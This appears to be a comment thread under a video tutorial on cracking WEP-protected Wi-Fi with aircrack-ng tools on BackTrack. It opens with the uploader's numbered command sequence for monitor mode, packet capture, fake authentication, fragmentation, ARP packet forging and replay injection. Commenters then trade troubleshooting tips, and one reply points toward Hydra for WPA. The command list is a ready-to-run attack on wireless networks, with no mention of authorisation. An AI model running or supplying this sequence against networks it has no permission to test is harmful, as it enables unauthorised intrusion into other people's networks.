2. airmon-ng start wlan0
3. airmon-ng stop mon0 or wlan0
4. ifconfig wlan0 down
5. airmon-ng start wlan0

Command I used:
1. airodump-ng mon0
2. airodump-ng --bssid BSSID --channel # --ivs -w FILENAME mon0
3. aireplay-ng -5 -b BSSID mon0
4. aireplay-ng -1 1 -a BSSID mon0
5. packetforge-ng -0 -a BSSID -h 00:11:22:33:44:55 -k 255.255.255.255 -l 255.255.255.255 -y fragment-RANDOMSTUFF.xor -w arpy
6. aireplay-ng -3 -r arpy -b BSSID mon0

[rohitraheja19]

sir,

when i am giving this command : airmon-ng

the system is showing no interface.

what to do?

please help.

[H4x0r18]

@rohitraheja19 Are you using the same wireless card that I used in the video? If not, then it maybe that your wireless card is not supported.

[Intoxalien]

What laptop do you use for this?

[H4x0r18]

@Intoxalien Before I used 3 year old Toshiba laptop. I am currently using a Macbook Pro early spring 2011.

[Intoxalien]

@H4x0r18 would you recommend it for installing backtrack only on there, wipe windows off of it and only have backtrack?

[H4x0r18]

@Intoxalien I wouldn't recommend installing just Backtrack, but if you really wanted to, you can. My college friend and I always use to run it dual boot with Windows XP, BEFORE Vista or 7 was out. After I made the switch to Linux/Mac, I always installed Backtrack via virtual machine. I use Vmware but Virtualbox works too.

@Intoxalien same here, i write "y" and then it doesnt find anything, and then repeats from askin to write "y" again .

at 2:40 mine doesnt find any data packets it just reads them for ages whats wrong?

[alexk77ae]

Thanks man, i didnt notice

[H4x0r18]

@FCOTW24 Maybe Hydra? WPA and WPA2 are the longest to crack, specially if you don't know anything about the wireless access point.
